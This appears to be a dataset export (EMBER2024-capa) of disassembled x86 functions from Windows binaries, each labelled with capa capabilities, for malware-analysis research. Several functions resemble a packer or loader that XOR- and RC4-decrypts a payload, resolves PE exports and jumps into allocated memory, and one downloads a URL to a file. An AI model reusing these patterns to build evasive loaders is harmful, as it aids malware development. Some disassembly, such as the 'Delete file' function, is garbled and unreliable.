joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477b54
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x499bec]
cmp dword [eax + 0x30], 0
je 0x477bfe
cmp dword [ebx + 0x94], 0
jne 0x477bf8
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x477ae4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x477bf8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x477bbe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x477bf8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a20c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x477bcd
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x47875c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x478791
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404b60
jmp 0x47879e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404ac4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4798c8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x479909
mov eax, esi
call fcn.0045fb0c
test al, al
je 0x479909
mov eax, dword [ebx + 0x84]
call fcn.0045f808
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x479909
push 0
mov eax, dword [ebx + 0x84]
call fcn.0045f808
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4883d4
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404f20
xor eax, eax
push ebp
push 0x4884e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x425048]
call fcn.0042c5c4
mov dword [ebp - 8], eax
test bl, bl
je 0x48846e
xor eax, eax
push ebp
push 0x488458
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x111
push 0x160
lea eax, [ebp - 0x168]
push eax
push 0x80
mov eax, dword [ebp - 4]
call fcn.00404f30
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [ebp - 0x168]
mov eax, dword [ebp - 8]
call fcn.0042c994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4884cc
xor eax, eax
push ebp
push 0x4884b8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x110
push 0x160
lea eax, [ebp - 0x168]
push eax
push 0x80
mov eax, dword [ebp - 4]
call fcn.00404f30
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [ebp - 0x168]
mov eax, dword [ebp - 8]
call fcn.0042c994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4884cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4884e9
lea eax, [ebp - 4]
call fcn.00404a70
ret
Function at 0x48f5e8
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f20
mov eax, dword [ebp - 8]
call fcn.00404f20
xor eax, eax
push ebp
push 0x48f676
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48f64f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404f30
push eax
mov eax, dword [ebp - 4]
call fcn.00404f30
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f65b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f67d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a94
ret

Function at 0x4915d8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or ebx, 0xffffffff
mov eax, edi
call fcn.00404d30
dec eax
test eax, eax
jl 0x49160c
inc eax
xor esi, esi
mov dl, byte [edi + esi]
xor dl, bl
and edx, 0xff
mov edx, dword [edx*4 + 0x497d30]
shr ebx, 8
xor edx, ebx
mov ebx, edx
inc esi
dec eax
jne 0x4915ef
xor ebx, 0xffffffff
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x495094
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffff82c
mov ebx, edx
mov eax, ebx
call fcn.00409b9c
push esp
push 0x3e8
call sub.kernel32.dll_GetTempPathA
test eax, eax
je 0x4950de
lea eax, [esp + 0x3e9]
push eax
push 0
push 0x4950e8
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetTempFileNameA
test eax, eax
je 0x4950de
mov edx, ebx
lea eax, [esp + 0x3e9]
call fcn.00409dcc
add esp, 0x7d4
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x499310
Capabilities:
Delete file

Disassembly:
je 0x499e9e
jne 0x499e9e
and dword [eax + 8], 0xff000000
mov eax, dword [eax + 0xe60]
mov edx, dword [0xd05eb0]
lea edx, [ebp + eax*2 - 0xcc]
push 0x9fb248
mov ecx, dword [eax + 6]
cmp ecx, dword [0x415c10]
mov byte [str.4s__], bl
cmp ax, dx
lea edi, [ecx + 0x389a957a]
dec eax
mov ecx, dword [edi]
test byte [ecx], ch
add al, 0
add byte [eax - 0x2c], ch
lodsd eax, dword [esi]
dec ecx
add bl, al
push 0xd62beb
cmp dword [0x10009100], edi
lea ecx, [edi + 0x718]
mov edi, dword [0xd2b280]
or edi, edx
call dword [0x100360f8]
mov dword [ecx + 0x30], edx
push 0xa07c20
cmp byte [ecx + 0x29], 0
mov eax, 0xb0b50c
push 0x14d
or byte [edx], cl
add byte [ebx - 0x1affb65e], bh
imul eax, dword [ebx + 0x50]
mov dword [esi], 0x697db61c
push 0xa0e624
mov eax, dword [0xbf13d0bd]
mov word [esi], fs
or dword [esi], edi
aaa
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x499cf9
ret
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push 0x49944a
ret
push ebp
mov ebp, esp
push 0xffffffffffffffff
jmp 0x49a382
push esi
push 0x499f96
ret
push 0x4ae988
je 0x49a81a
jne 0x49a81a
lea eax, [ebp - 0x644]
mov dword [0xeaf640], eax
mov eax, 0xbbd
push 0x6978fdb0
push 0x697bc094
push 0xa8c068
fmul dword [esp + 0x1c]
push 0xcf24e0
push 0xec895c
push 0x112f8ce0
push 0x42d300
and esp, ebp
movsb byte es:[edi], byte [esi]
and esi, ebp
daa
dec esp
pop ebp
fnsave dword [esi + 0xd6190cd]
pop esp
push 0xffffffffffffff80
out dx, al
pop ebp
je 0x4999eb
jne 0x4999eb
or edi, dword [edx + 4]
push 0xbd838c
movzx edx, byte [edx + 0x4ba5fc]
mov dword [ebp - 0x584], eax
push 0xcd405a
mov byte [ebp - 0x2f], 0xcc
lea edx, [ebp - 0x1ec]
cmp dword [edx + 0x1000000], 0x20000
push 0x697dfaac
adc eax, 0x38100059
push 0xd99c78
push 0x9b928c
jmp dword [0x4851f4]
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
jmp 0x499f32
Function at 0x678bbc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x6ee174]
add edi, 0xffffe881
mov dword [0x6ee178], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
xor eax, eax
mov dword [0x6ee17c], 0
mov dword [0x6ee180], 0
mov dword [0x6ee18c], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jne 0x678c39
mov dword [0x6ee178], 0x13b3
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x6ee174], 0x1751
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x6ee17c], edx
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x6ee180], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x6ee184], cl
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x6ee184]
mov edx, dword [0x6ee180]
mov byte [edi + edx], cl
mov edx, dword [0x6ee17c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x6ee180]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x6ee178], 0x26fd
and ebx, 0xff
mov dword [0x6ee18c], ebx
mov dword [0x6ee174], 0x267e
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov dl, cl
add dl, byte [0x6ee191]
mov byte [0x6ee190], dl
mov byte [0x6ee191], ch
mov byte [0x6ee192], cl
mov dword [0x6ee178], 0x1b66
xor ch, cl
mov dword [0x6ee174], 0x1174
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x678c27
mov eax, dword [0x6ee180]
mov ecx, dword [0x6ee17c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], edx
jmp 0x678c39
Function at 0x678d4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x6ee174], 0x260a
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x110
mov edi, edx
add edi, esi
add edi, 0xa8
mov esi, dword [edi]
imul edi, eax, 0x110
add edx, edi
add edx, 0xa4
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x6b6
mov ecx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x678d7d
lea eax, [0x67b384]
mov ecx, 0xe
lea edx, [ebp - 0x12c]
mov dword [0x6ee178], 0x1461
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.0067869c
mov dword [0x6ee174], 0x79e
call fcn.006784e2
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.00679201
mov dword [0x6ee194], eax
mov ecx, dword [0x6ee174]
add ecx, 0xffffe40e
mov dword [0x6ee178], ecx
mov ecx, esp
mov edx, dword [ebp - 0x13c]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 4
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
call eax
sub esp, 0x10
xor ecx, ecx
mov edx, dword [0x6ee174]
add edx, 0xfffffbd2
mov dword [0x6ee174], edx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0x110
mov edi, edx
add edi, esi
add edi, 0xa8
mov esi, dword [edi]
imul edi, eax, 0x110
mov ebx, edx
add ebx, edi
add ebx, 0x10
mov edi, dword [ebx]
imul ebx, eax, 0x110
add edx, ebx
add edx, 0xa4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.00678957
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x6b6
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x678e95
lea eax, [0x67b392]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.0067933f
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.00678bbc
mov eax, dword [0x6ee174]
add eax, 0x1d8e
mov dword [0x6ee174], eax
mov eax, dword [ebp - 0x148]
add eax, 0x142dcd
mov ecx, dword [ebp - 0x130]
mov dword [ecx], eax
mov dword [ecx + 4], 0x125200
mov eax, dword [ebp - 0x148]
add eax, 0x138343
mov dword [ecx + 8], eax
add ecx, 0xc
mov dword [ebp - 0x168], ecx
xor eax, eax
mov ecx, dword [ebp - 0x168]
mov dword [ecx], 0x1f60
mov edx, dword [0x6ee174]
add edx, 0x1a21
mov dword [0x6ee174], edx
add esp, 0x16c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x678fff
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [0x6ee174], 0x1994
mov dword [ebp - 0x10], eax
call fcn.006789ff
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov dword [0x6ee174], 0x2010
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x679140
jmp 0x679074
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
jmp 0x679088
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
jmp 0x679058
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x6790e5
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x49], ch
mov eax, dword [ebp - 0x48]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x49]
and dl, cl
test dl, 1
mov dword [ebp - 0x3c], eax
jne 0x679088
mov al, byte [ebp - 0x42]
test al, 1
jne 0x67911d
jmp 0x6790ee
mov eax, dword [ebp - 0x34]
add eax, 2
mov dword [ebp - 0x50], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], eax
jb 0x679058
jmp 0x679140
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x6ee178], 0x2690
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x24]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x67933f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x6ee180], 0
mov byte [0x6ee184], 0
mov esi, dword [0x6ee174]
add esi, 0xfffffac9
mov dword [0x6ee178], esi
mov dword [0x6ee17c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x67938e
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x6ee174], 0x1cb3
mov eax, dword [0x6ee17c]
add eax, 1
mov dword [0x6ee17c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x67938e
xor eax, eax
mov dword [0x6ee174], 0x1549
mov dword [0x6ee17c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x6ee188], 0
mov edx, dword [0x6ee180]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x6ee188], edi
mov dword [0x6ee174], 0x15b
mov eax, edi
cdq
idiv ecx
mov dword [0x6ee180], edx
mov dword [0x6ee178], 0xffffff07
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x6ee184], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x6ee178]
add ecx, 0xffffdd45
mov dword [0x6ee174], ecx
mov cl, byte [0x6ee184]
mov edx, dword [0x6ee180]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x6ee17c]
add edx, 1
mov dword [0x6ee17c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x6793d7
mov dword [0x6ee178], 0x18f5
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x6794a2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x67b384]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x6ee178], 0x2337
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.0067869c
mov dword [0x6ee174], 0x79e
call fcn.006784e2
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.00679201
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x6795cd
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x6ee178], 0x1985
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.0067981e
xor eax, eax
mov ecx, dword [0x6ee174]
mov edx, dword [ebp - 0x44]
mov word [edx], 0x5a4d
add ecx, 0xffffda01
mov dword [0x6ee174], ecx
mov dword [edx + 0x3c], 0xc0
mov dword [edx + 0xc0], 0x4550
add edx, 0xffc00000
mov dword [0x6ee178], 0x2259
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x4c], edx
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x40], edx
cmp edx, 0
mov dword [ebp - 0x40], eax
je 0x6795cd
mov eax, dword [ebp - 0x44]
add eax, 0x12ee
mov dword [0x6ee174], 0x6f0
mov dword [0x6ee178], 0x23bd
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
Function at 0x6795d7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.00401088
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x34], ecx
je 0x67963e
jmp 0x679798
mov eax, dword [esp + 0x30]
add eax, 0xfffff000
and eax, 0xfffff000
mov ecx, dword [esp + 0x2c]
add ecx, 0xffffdab2
mov dword [0x6ee174], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
cmp word [eax], 0x5a4d
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
je 0x679714
jmp 0x6795fb
lea eax, [esp + 0x48]
mov dword [0x6ee174], 0x2038
mov dword [0x6ee178], 0x2318
mov dword [esp + 0x20], eax
call fcn.00679909
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x679790
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.00678d4e
lea ecx, [esp + 0x48]
mov edx, dword [0x6ee178]
mov esi, dword [esp + 0x38]
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], 0x125200
mov esi, dword [0x6ee160]
mov dword [esp + 0x5c], esi
mov esi, dword [0x6ee164]
mov dword [esp + 0x74], esi
mov esi, dword [0x6ee168]
mov dword [esp + 0x6c], esi
mov esi, dword [0x6ee16c]
mov dword [esp + 0x60], esi
mov esi, dword [0x6ee170]
add ecx, 0x1c
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
lea eax, [0x6797a2]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
mov dword [ecx], edx
mov esi, dword [esp + 0x10]
add esi, 0xfffff8dd
mov dword [0x6ee174], esi
mov dword [0x6ee178], 0x22a3
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], eax
jmp 0x679621
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
jne 0x6795fb
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x70], ecx
mov dword [0x6ee178], 0x1c92
mov dword [0x6ee174], 0x14d5
mov edx, dword [esp + 8]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x48], esi
mov esi, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.006794a2
mov ecx, dword [0x6ee178]
add ecx, 0x1f82
mov dword [0x6ee174], ecx
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x679909
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [0x6ee174], 0xe24
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x679974
mov dword [0x6ee178], 0xd66
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x19], cl
mov al, byte [ebp - 0x19]
test al, 1
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], edx
jne 0x679974
jmp 0x67998a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edx
jne 0x67993f
mov eax, dword [ebp - 0x20]
mov dword [0x6ee174], 0xf30
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
jne 0x679a4a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x679a4a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x16], 0x61
sete dl
mov byte [ebp - 0x25], dl
mov al, byte [ebp - 0x25]
test al, 1
jne 0x6799d9
jmp 0x679a4a
mov dword [0x6ee174], 0x15e2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x679a4a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x12], 0x64
sete dl
mov byte [ebp - 0x26], dl
mov al, byte [ebp - 0x26]
test al, 1
jne 0x679a0e
jmp 0x679a4a
mov dword [0x6ee174], 0x1882
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x679a4a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0xe], 0x6c
jne 0x679a4a
mov dword [0x6ee178], 0xfeb
mov eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x679a5b
mov dword [0x6ee174], 0x177
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x679a5b
mov eax, dword [ebp - 0x2c]
add esp, 0x2c
pop ebp
ret